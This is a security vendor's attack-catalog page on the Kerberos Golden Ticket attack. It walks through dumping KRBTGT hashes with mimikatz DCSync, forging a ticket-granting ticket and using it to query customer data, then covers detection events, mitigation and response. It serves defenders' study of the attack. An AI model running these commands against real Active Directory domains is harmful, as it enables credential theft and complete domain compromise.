1. Home
  2. Resources
  3. Attack Catalog
  4. Golden Ticket Attack

Golden Ticket Attack

Credential Access
Active Directory
Credential Theft
Kerberos
Persistence

A golden ticket in Active Directory — much like its namesake for Willy Wonka’s chocolate factory — grants the bearer unlimited access. A Golden Ticket attack abuses the Kerberos protocol, which depends on the use of shared secrets to encrypt and sign messages. One of these secrets is known only to the Key Distribution Center (KDC): the password hash for the KRBTGT user, which is used to issue the Kerberos tickets required to  access IT systems and data. If an adversary compromises the KRBTGT password hash, they possess a golden ticket — they can mint Kerberos tickets as if they were Active Directory itself, giving them the power to access any resource they choose! Unfortunately, Golden Ticket attacks are extremely difficult to detect and respond to.

Threat Summary
Target:
Active Directory
Tools:
mimikatz, impacket
ATT&CK® Tactic:
Credential Access
ATT&CK Technique:
T1558.001
Difficulty
Detection:
Hard
Mitigation:
Medium
Response:
Hard

Attack Tutorial: How a Golden Ticket Attack Works

STEP 1

Compromise the password hash for the KRBTGT account.

To begin a Golden Ticket attack, an adversary must have obtained administrative privileges in Active Directory, such as replication privileges or administrator access to a domain controller. Then they can use various methods to compromise the password hash of the KRBTGT user; here’s how DCSync can be used for this purpose:
PS> mimikatz.exe "lsadump::dcsync /user:DOMAIN\KRBTGT"
 
mimikatz(commandline) # lsadump::dcsync /user:DOMAIN\Krbtgt
[DC] 'DOMAIN.com' will be the domain # The Domain DNS Name
[DC] 'DC1.DOMAIN.com' will be the DC server
[DC] 'DOMAIN\Krbtgt' will be the user account
 
Object RDN           : krbtgt
 
** SAM ACCOUNT **
 
SAM Username         : krbtgt
User Principal Name  : krbtgt@DOMAIN.com
Account Type         : 30000000 ( USER_OBJECT )
User Account Control : 00000202 ( ACCOUNTDISABLE NORMAL_ACCOUNT )
Account expiration   :
Password last change : 09/03/2020 14:51:03
Object Security ID   : S-1-5-21-5840559-2756745051-1363507867-502 # The SID of KRBTGT Account
Object Relative ID   : 502
 
Credentials:
  Hash NTLM: 1b8cee51fd49e55e8c9c9004a4acc159  # NTLM Hash
 
#...
* Primary:Kerberos-Newer-Keys *
    Default Salt : PROD.COMkrbtgt
    Default Iterations : 4096
    Credentials
      aes256_hmac       (4096) : ffa8bd983a5a03618bdf577c2d79a467265f140ba339b89cc0a9c1bfdb4747f5 # AES256 Hash
      aes128_hmac       (4096) : 471644de05c4834cc6cbc06896210e7d # AES128 Hash
#...
STEP 2

Forge Kerberos tickets. 

After compromising the KRBTGT password hash, the attacker uses a tool like mimikatz or impacket to forge Kerberos tickets. The example below shows how to create a Kerberos ticket-granting ticket (TGT) for a user account that doesn’t actually exist in the directory. With November 2021 security updates for Kerberos this attack method was patched so if the domain controllers have this update a valid user must be used.

To mint the TGT, the adversary must specify the following information to mimikatz kerberos::golden:

  • /domain — The FQDN of the domain
  • /sid — The SID of the domain
  • /aes256 — The AES-256 password hash of the KRBTGT user (alternatively, /ntlm or /rc4 can be used for NTLM hashes, and /aes128 for AES-128)
  • /user — The username to be impersonated
  • /groups — The list of groups (by RID) to include in the ticket, with the first being the user’s primary group
  • /ptt — Indicates that the forged ticket should be injected into the current session instead of being written to a file
PS> mimikatz.exe "kerberos::golden /domain:domain.com /sid:S-1-5-21-5840559-2756745051-1363507867 /aes256:ffa8bd983a5a03618bdf577c2d79a467265f140ba339b89cc0a9c1bfdb4747f5 /user:NonExistentUser /groups:513,2668 /ptt"
 
mimikatz(commandline) # kerberos::golden /domain:domain.com /sid:S-1-5-21-5840559-2756745051-1363507867 /aes256:ffa8bd983a5a03618bdf577c2d79a467265f140ba339b89cc0a9c1bfdb4747f5 /user:NonExistentUser /ticket:GoldenTicket.kirbi /ptt
User      : NonExistentUser
Domain    : domain.com (DOMAIN)
SID       : S-1-5-21-5840559-2756745051-1363507867
User Id   : 500
Groups Id : *513 2668
ServiceKey: ffa8bd983a5a03618bdf577c2d79a467265f140ba339b89cc0a9c1bfdb4747f5 - aes256_hmac
Lifetime  : 19/07/2020 22:31:00 ; 17/07/2030 22:31:00 ; 17/07/2030 22:31:00
-> Ticket : ** Pass The Ticket **
 
 * PAC generated
 * PAC signed
 * EncTicketPart generated
 * EncTicketPart encrypted
 * KrbCred generated
 
Golden ticket for 'NonExistentUser @ domain.com' successfully submitted for current session
STEP 3

Use the forged Kerberos tickets.

The attacker can then use the forged ticket to access Kerberos-integrated resources. Because the TGT is signed and encrypted with the real KRBTGT password hash, any domain controller will accept it as proof of identity and issue ticket-granting service (TGS) tickets for it.

As the adversary discovers more about the environment, they can continue to mint tickets for accounts with specific group membership to access any application, database or other resource that uses Active Directory for authentication and authorization.

In the example below, the ticket forging process includes the group RID 2668, which corresponds to the group “MSSQL Administrators.” The adversary discovered this group while performing internal reconnaissance and thinks it will grant them access to databases containing valuable data.
PS> mssql-cli --server dbserver --integrated --query 'SELECT SYSTEM_USER; SELECT * FROM [SensitiveApp].[dbo].[Customers]'
+--------------------------+
| (No column name)         |
|--------------------------|
| DOMAIN\NonExistentUser   |
+--------------------------+
(1 row affected)
+--------------+-------------+-----------+-------------+
| customerId   | givenName   | surname   | ssn         |
|--------------+-------------+-----------+-------------|
| 1            | Bob         | Smith     | 000-00-0001 |
| 2            | Jane        | Doe       | 000-00-0002 |
| 3            | Kyle        | Jones     | 000-00-0003 |
| 4            | Amy         | Allen     | 000-00-0004 |
+--------------+-------------+-----------+-------------+
(4 rows affected)
PS>

Detect, Mitigate and Respond

Detect
Mitigate
Respond
Difficulty: Hard
Detecting the use of a golden ticket requires analyzing Kerberos tickets for subtle signs of manipulation, such as:
  • Usernames that don’t exist in Active Directory
  • Modified group memberships (added or removed)
  • Username and RID mismatches
  • Weaker than normal encryption types (e.g., RC4 instead of AES-256)
  • Ticket lifetimes that exceed the domain maximum (the default domain lifetime is 10 hours but the default assigned by mimikatz is 10 years)
The following Windows events can be collected and analyzed to detect possible golden ticket use:
Event Source Information Provided
Event ID 4769: Audit Kerberos Service Ticket Operations  Domain controllers
  • Ticket encryption type
  • Username
Event ID 4627: Audit Group Membership Domain controllers, member computers
  • User’s security identifier (SID)
  • Group memberships
Event ID 4624: Audit Logon Domain controllers, member computers
  • User’s security identifier (SID)
  • Username source IP (indicating potentially compromised host)
Difficulty: Medium
Mitigation should focus on making it harder for adversaries to gain the privileged access they need to obtain the password hash of the KRBTGT user, and on limiting the usefulness of that password hash:
  • Do not allow users to possess administrative privileges across security boundaries. For example, an adversary who compromises a workstation should not be able to escalate their privileges to move on to a domain controller.
  • Minimize elevated privileges. For example, organizations often grant Domain Admins membership to service accounts unnecessarily — giving adversaries more accounts to target that will empower them to extract the KRBTGT hash.
  • Change the password for the KRBTGT account on a regular schedule, as well as immediately upon any change in personnel responsible for Active Directory administration. Since both the current and previous password of the KRBTGT user are used by the KDC to validate Kerberos tickets, the password must be changed twice; the changes should be made 12–24 hours apart to prevent service disruptions.
Difficulty: Hard
An adversary with a golden ticket is very difficult to respond to and recover from. The basic strategy is to:
  • Activate the incident response process and alert the incident response team.
However, it can take weeks of planning and effort to ensure not only fully eradicate the attacker’s presence and persistence mechanisms, but also make the changes required to ensure they cannot reuse the prior attack path to regain access.
Detect
Difficulty: Hard
Detecting the use of a golden ticket requires analyzing Kerberos tickets for subtle signs of manipulation, such as:
  • Usernames that don’t exist in Active Directory
  • Modified group memberships (added or removed)
  • Username and RID mismatches
  • Weaker than normal encryption types (e.g., RC4 instead of AES-256)
  • Ticket lifetimes that exceed the domain maximum (the default domain lifetime is 10 hours but the default assigned by mimikatz is 10 years)
The following Windows events can be collected and analyzed to detect possible golden ticket use:
Event Source Information Provided
Event ID 4769: Audit Kerberos Service Ticket Operations  Domain controllers
  • Ticket encryption type
  • Username
Event ID 4627: Audit Group Membership Domain controllers, member computers
  • User’s security identifier (SID)
  • Group memberships
Event ID 4624: Audit Logon Domain controllers, member computers
  • User’s security identifier (SID)
  • Username source IP (indicating potentially compromised host)
Mitigate
Difficulty: Medium
Mitigation should focus on making it harder for adversaries to gain the privileged access they need to obtain the password hash of the KRBTGT user, and on limiting the usefulness of that password hash:
  • Do not allow users to possess administrative privileges across security boundaries. For example, an adversary who compromises a workstation should not be able to escalate their privileges to move on to a domain controller.
  • Minimize elevated privileges. For example, organizations often grant Domain Admins membership to service accounts unnecessarily — giving adversaries more accounts to target that will empower them to extract the KRBTGT hash.
  • Change the password for the KRBTGT account on a regular schedule, as well as immediately upon any change in personnel responsible for Active Directory administration. Since both the current and previous password of the KRBTGT user are used by the KDC to validate Kerberos tickets, the password must be changed twice; the changes should be made 12–24 hours apart to prevent service disruptions.
Respond
Difficulty: Hard
An adversary with a golden ticket is very difficult to respond to and recover from. The basic strategy is to:
  • Activate the incident response process and alert the incident response team.
However, it can take weeks of planning and effort to ensure not only fully eradicate the attacker’s presence and persistence mechanisms, but also make the changes required to ensure they cannot reuse the prior attack path to regain access.
RELATED READING
Detecting Forged Kerberos Tickets
Kerberos Golden Tickets Are Now More Golden
Complete Domain Compromise with Golden Tickets
Fire Image Featured Solutions
Netwrix Threat Manager
Netwrix Enterprise Auditor
Netwrix StealthINTERCEPT
OTHER ATTACKS
Pass the Ticket
Silver Ticket
Pass the Hash
DCSync

MITRE ATT&CK® and ATT&CK® are registered trademarks of The MITRE Corporation.